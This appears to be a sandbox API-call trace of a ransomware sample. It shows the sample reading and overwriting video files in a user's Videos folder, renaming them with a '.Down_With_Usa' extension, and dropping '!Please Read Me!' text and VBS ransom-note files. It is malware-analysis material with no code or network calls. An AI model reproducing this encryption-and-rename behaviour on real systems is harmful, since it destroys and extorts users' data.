[0124.250] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qIFgNEtuwM.mp4", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qIFgNEtuwM.mp4", lpFilePart=0x0) returned 0x69
[0124.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0124.250] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qIFgNEtuwM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\qifgnetuwm.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0124.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0124.255] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qIFgNEtuwM.mp4", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qIFgNEtuwM.mp4", lpFilePart=0x0) returned 0x69
[0124.255] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qIFgNEtuwM.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qIFgNEtuwM.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x77
[0124.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0124.255] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qIFgNEtuwM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\qifgnetuwm.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7b0dab0, ftCreationTime.dwHighDateTime=0x1d5e3c2, ftLastAccessTime.dwLowDateTime=0x4b610100, ftLastAccessTime.dwHighDateTime=0x1d5e5fe, ftLastWriteTime.dwLowDateTime=0x268487a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x84f0)) returned 1
[0124.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0124.255] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qIFgNEtuwM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\qifgnetuwm.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\qIFgNEtuwM.mp4.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\qifgnetuwm.mp4.down_with_usa")) returned 1
[0124.256] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\r7xLKftkfTQLJdc.flv", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\r7xLKftkfTQLJdc.flv", lpFilePart=0x0) returned 0x6e
[0124.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0124.257] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\r7xLKftkfTQLJdc.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\r7xlkftkftqljdc.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0124.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0124.257] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0x33ff
[0124.257] ReadFile (in: hFile=0x3a8, lpBuffer=0x26b3600, nNumberOfBytesToRead=0x33ff, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x26b3600*, lpNumberOfBytesRead=0x2eadd8*=0x33ff, lpOverlapped=0x0) returned 1
[0124.290] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\r7xLKftkfTQLJdc.flv", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\r7xLKftkfTQLJdc.flv", lpFilePart=0x0) returned 0x6e
[0124.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0124.291] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\r7xLKftkfTQLJdc.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\r7xlkftkftqljdc.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0124.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0124.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\r7xLKftkfTQLJdc.flv", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\r7xLKftkfTQLJdc.flv", lpFilePart=0x0) returned 0x6e
[0124.296] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\r7xLKftkfTQLJdc.flv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\r7xLKftkfTQLJdc.flv.Down_With_Usa", lpFilePart=0x0) returned 0x7c
[0124.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0124.296] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\r7xLKftkfTQLJdc.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\r7xlkftkftqljdc.flv"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc91840, ftCreationTime.dwHighDateTime=0x1d5e179, ftLastAccessTime.dwLowDateTime=0x8153f440, ftLastAccessTime.dwHighDateTime=0x1d5e16f, ftLastWriteTime.dwLowDateTime=0x268babc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3400)) returned 1
[0124.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0124.296] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\r7xLKftkfTQLJdc.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\r7xlkftkftqljdc.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\r7xLKftkfTQLJdc.flv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\r7xlkftkftqljdc.flv.down_with_usa")) returned 1
[0124.321] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\wf4OS1.avi", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\wf4OS1.avi", lpFilePart=0x0) returned 0x65
[0124.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0124.321] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\wf4OS1.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\wf4os1.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0124.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0124.321] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0xfdd7
[0124.321] ReadFile (in: hFile=0x3a8, lpBuffer=0x27b2e90, nNumberOfBytesToRead=0xfdd7, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x27b2e90*, lpNumberOfBytesRead=0x2eadd8*=0xfdd7, lpOverlapped=0x0) returned 1
[0124.367] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\wf4OS1.avi", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\wf4OS1.avi", lpFilePart=0x0) returned 0x65
[0124.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0124.367] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\wf4OS1.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\wf4os1.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0124.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0124.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\wf4OS1.avi", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\wf4OS1.avi", lpFilePart=0x0) returned 0x65
[0124.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\wf4OS1.avi.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\wf4OS1.avi.Down_With_Usa", lpFilePart=0x0) returned 0x73
[0124.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0124.373] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\wf4OS1.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\wf4os1.avi"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99ffb740, ftCreationTime.dwHighDateTime=0x1d5dbd4, ftLastAccessTime.dwLowDateTime=0xef2429f0, ftLastAccessTime.dwHighDateTime=0x1d5dd04, ftLastWriteTime.dwLowDateTime=0x269792a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xfde0)) returned 1
[0124.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0124.373] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\wf4OS1.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\wf4os1.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\wf4OS1.avi.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\wf4os1.avi.down_with_usa")) returned 1
[0124.374] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x7d
[0124.374] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge", nBufferLength=0x105, lpBuffer=0x2eaf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge", lpFilePart=0x0) returned 0x5a
[0124.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb360) returned 1
[0124.374] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge", nBufferLength=0x105, lpBuffer=0x2eae50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge", lpFilePart=0x0) returned 0x5a
[0124.374] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eadf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x7d
[0124.374] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eadf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0124.375] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2eb000 | out: lpFindFileData=0x2eb000*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0124.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb2b0) returned 1
[0124.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb270) returned 1
[0124.377] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x6f
[0124.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb090) returned 1
[0124.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0124.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb000) returned 1
[0124.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2ead50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x6f
[0124.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb230) returned 1
[0124.379] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\klpchkoij7ge\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0124.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb1a0) returned 1
[0124.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x70
[0124.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B", nBufferLength=0x105, lpBuffer=0x2eb480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B", lpFilePart=0x0) returned 0x4d
[0124.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb8e0) returned 1
[0124.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B", nBufferLength=0x105, lpBuffer=0x2eb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B", lpFilePart=0x0) returned 0x4d
[0124.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x70
[0124.383] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0124.383] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2eb580 | out: lpFindFileData=0x2eb580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0124.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb830) returned 1
[0124.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb7f0) returned 1
[0124.385] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x62
[0124.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb610) returned 1
[0124.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0124.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb580) returned 1
[0124.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x62
[0124.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb7b0) returned 1
